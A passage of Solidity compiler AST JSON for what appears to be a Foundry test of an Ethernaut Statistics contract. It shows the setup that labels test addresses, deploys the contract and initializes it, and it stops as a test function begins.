payable"}},"id":65569,"nodeType":"ExpressionStatement","src":"1081:16:152"},{"expression":{"arguments":[{"id":65573,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"1116:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"557365722032","id":65574,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1122:8:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_aa6d5f7abe82735798af4c2ac0bacb3fcf6dd1bd940bdf9a4694edbfb16d4873","typeString":"literal_string \"User 2\""},"value":"User 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_aa6d5f7abe82735798af4c2ac0bacb3fcf6dd1bd940bdf9a4694edbfb16d4873","typeString":"literal_string \"User 2\""}],"expression":{"id":65570,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1107:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1110:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1107:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65575,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1107:24:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65576,"nodeType":"ExpressionStatement","src":"1107:24:152"},{"expression":{"id":65581,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65577,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"1142:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65578,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1160:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65580,"indexExpression":{"hexValue":"33","id":65579,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1166:1:152","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1160:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1142:26:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65582,"nodeType":"ExpressionStatement","src":"1142:26:152"},{"expression":{"arguments":[{"id":65586,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"1187:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792031","id":65587,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1204:17:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_65af7a4382f81c8bc844f423e9f0c2c28e871e64124af2ca31cb819db8e7975f","typeString":"literal_string \"Level Factory 1\""},"value":"Level Factory 1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_65af7a4382f81c8bc844f423e9f0c2c28e871e64124af2ca31cb819db8e7975f","typeString":"literal_string \"Level Factory 1\""}],"expression":{"id":65583,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1178:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65585,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1181:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1178:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65588,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1178:44:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65589,"nodeType":"ExpressionStatement","src":"1178:44:152"},{"expression":{"id":65594,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65590,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"1233:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65591,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1251:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65593,"indexExpression":{"hexValue":"34","id":65592,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1257:1:152","typeDescriptions":{"typeIdentifier":"t_rational_4_by_1","typeString":"int_const 4"},"value":"4"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1251:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1233:26:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65595,"nodeType":"ExpressionStatement","src":"1233:26:152"},{"expression":{"arguments":[{"id":65599,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"1278:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792032","id":65600,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1295:17:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ad65339d115cfd0b082e137ef24512a7f70e9893e66530fef7b6c5041c19201","typeString":"literal_string \"Level Factory 2\""},"value":"Level Factory 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3ad65339d115cfd0b082e137ef24512a7f70e9893e66530fef7b6c5041c19201","typeString":"literal_string \"Level Factory 2\""}],"expression":{"id":65596,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1269:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65598,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1272:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1269:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1269:44:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65602,"nodeType":"ExpressionStatement","src":"1269:44:152"},{"expression":{"id":65607,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65603,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65510,"src":"1324:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65604,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1342:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65606,"indexExpression":{"hexValue":"35","id":65605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1348:1:152","typeDescriptions":{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"},"value":"5"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1342:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1324:26:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65608,"nodeType":"ExpressionStatement","src":"1324:26:152"},{"expression":{"arguments":[{"id":65612,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65510,"src":"1369:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792033","id":65613,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1386:17:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_6879a7628adde55e8bb801972600934f78dc5cc8047afd229994d69aba4dde5d","typeString":"literal_string \"Level Factory 3\""},"value":"Level Factory 3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_6879a7628adde55e8bb801972600934f78dc5cc8047afd229994d69aba4dde5d","typeString":"literal_string \"Level Factory 3\""}],"expression":{"id":65609,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1360:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65611,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1363:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1360:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65614,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1360:44:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65615,"nodeType":"ExpressionStatement","src":"1360:44:152"},{"expression":{"id":65620,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65616,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65512,"src":"1415:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65617,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1434:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65619,"indexExpression":{"hexValue":"36","id":65618,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1440:1:152","typeDescriptions":{"typeIdentifier":"t_rational_6_by_1","typeString":"int_const 6"},"value":"6"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1434:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1415:27:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65621,"nodeType":"ExpressionStatement","src":"1415:27:152"},{"expression":{"arguments":[{"id":65625,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65512,"src":"1461:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652031","id":65626,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1479:18:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_f5ac5b805300c2f5d68b114b91d1258da79c11b28c5f5a7c103172716702a957","typeString":"literal_string \"Level Instance 1\""},"value":"Level Instance 1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_f5ac5b805300c2f5d68b114b91d1258da79c11b28c5f5a7c103172716702a957","typeString":"literal_string \"Level Instance 1\""}],"expression":{"id":65622,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1452:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65624,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1455:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1452:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65627,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1452:46:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65628,"nodeType":"ExpressionStatement","src":"1452:46:152"},{"expression":{"id":65633,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65629,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65514,"src":"1509:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65630,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1528:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65632,"indexExpression":{"hexValue":"37","id":65631,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1534:1:152","typeDescriptions":{"typeIdentifier":"t_rational_7_by_1","typeString":"int_const 7"},"value":"7"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1528:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1509:27:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65634,"nodeType":"ExpressionStatement","src":"1509:27:152"},{"expression":{"arguments":[{"id":65638,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65514,"src":"1555:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652032","id":65639,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1573:18:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_9118ce0393567c1d37638c594e549bfee272bc0fcb3a0134f7a68c602537e0be","typeString":"literal_string \"Level Instance 2\""},"value":"Level Instance 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_9118ce0393567c1d37638c594e549bfee272bc0fcb3a0134f7a68c602537e0be","typeString":"literal_string \"Level Instance 2\""}],"expression":{"id":65635,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1546:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65637,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1549:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1546:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1546:46:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65641,"nodeType":"ExpressionStatement","src":"1546:46:152"},{"expression":{"id":65646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65642,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65516,"src":"1603:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65643,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1622:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65645,"indexExpression":{"hexValue":"38","id":65644,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1628:1:152","typeDescriptions":{"typeIdentifier":"t_rational_8_by_1","typeString":"int_const 8"},"value":"8"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1622:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1603:27:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65647,"nodeType":"ExpressionStatement","src":"1603:27:152"},{"expression":{"arguments":[{"id":65651,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65516,"src":"1649:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652033","id":65652,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1667:18:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_05369e42055e17f63722c65d1ad15b3396d4f501fa9a6d016a4374ec060f1ede","typeString":"literal_string \"Level Instance 3\""},"value":"Level Instance 3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_05369e42055e17f63722c65d1ad15b3396d4f501fa9a6d016a4374ec060f1ede","typeString":"literal_string \"Level Instance 3\""}],"expression":{"id":65648,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1640:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65650,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1643:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1640:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65653,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1640:46:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65654,"nodeType":"ExpressionStatement","src":"1640:46:152"},{"expression":{"id":65659,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65655,"name":"level_instance_4","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65518,"src":"1697:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65656,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1716:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65658,"indexExpression":{"hexValue":"39","id":65657,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1722:1:152","typeDescriptions":{"typeIdentifier":"t_rational_9_by_1","typeString":"int_const 9"},"value":"9"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1716:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1697:27:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65660,"nodeType":"ExpressionStatement","src":"1697:27:152"},{"expression":{"arguments":[{"id":65664,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65516,"src":"1743:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652034","id":65665,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1761:18:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_59a8b890920c53c3706269f19816be55cb28de1a940beb71a73e981f7db92678","typeString":"literal_string \"Level Instance 4\""},"value":"Level Instance 4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_59a8b890920c53c3706269f19816be55cb28de1a940beb71a73e981f7db92678","typeString":"literal_string \"Level Instance 4\""}],"expression":{"id":65661,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1734:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65663,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1737:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1734:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1734:46:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65667,"nodeType":"ExpressionStatement","src":"1734:46:152"},{"expression":{"id":65672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65668,"name":"level_instance_5","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65520,"src":"1791:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65669,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1810:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65671,"indexExpression":{"hexValue":"3130","id":65670,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1816:2:152","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1810:9:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1791:28:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65673,"nodeType":"ExpressionStatement","src":"1791:28:152"},{"expression":{"arguments":[{"id":65677,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65516,"src":"1838:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652035","id":65678,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1856:18:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_de3812c938a5b178a6e8e9949a2366b69f1a15c6a1a098a77b777cc59ec31b35","typeString":"literal_string \"Level Instance 5\""},"value":"Level Instance 5"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_de3812c938a5b178a6e8e9949a2366b69f1a15c6a1a098a77b777cc59ec31b35","typeString":"literal_string \"Level Instance 5\""}],"expression":{"id":65674,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1829:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65676,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1832:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1829:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1829:46:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65680,"nodeType":"ExpressionStatement","src":"1829:46:152"},{"expression":{"id":65686,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65681,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"1886:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":65684,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1894:14:152","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Statistics_$56450_$","typeString":"function () returns (contract Statistics)"},"typeName":{"id":65683,"nodeType":"UserDefinedTypeName","pathNode":{"id":65682,"name":"Statistics","nameLocations":["1898:10:152"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"1898:10:152"},"referencedDeclaration":56450,"src":"1898:10:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}},"id":65685,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1894:16:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"src":"1886:24:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65687,"nodeType":"ExpressionStatement","src":"1886:24:152"},{"expression":{"arguments":[{"id":65691,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65500,"src":"1937:9:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65688,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"1920:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65690,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1926:10:152","memberName":"initialize","nodeType":"MemberAccess","referencedDeclaration":55670,"src":"1920:16:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65692,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1920:27:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65693,"nodeType":"ExpressionStatement","src":"1920:27:152"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"836:5:152","parameters":{"id":65521,"nodeType":"ParameterList","parameters":[],"src":"841:2:152"},"returnParameters":{"id":65522,"nodeType":"ParameterList","parameters":[],"src":"851:0:152"},"scope":65889,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":65888,"nodeType":"FunctionDefinition","src":"2188:1720:152","nodes":[],"body":{"id":65887,"nodeType":"Block","src":"2233:1675:152","nodes":[],"statements":[{"expression":{"arguments":[{"id":65702,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65500,"src":"2257:9:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65699,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2243:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65701,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2246:10:152","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2243:13:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) 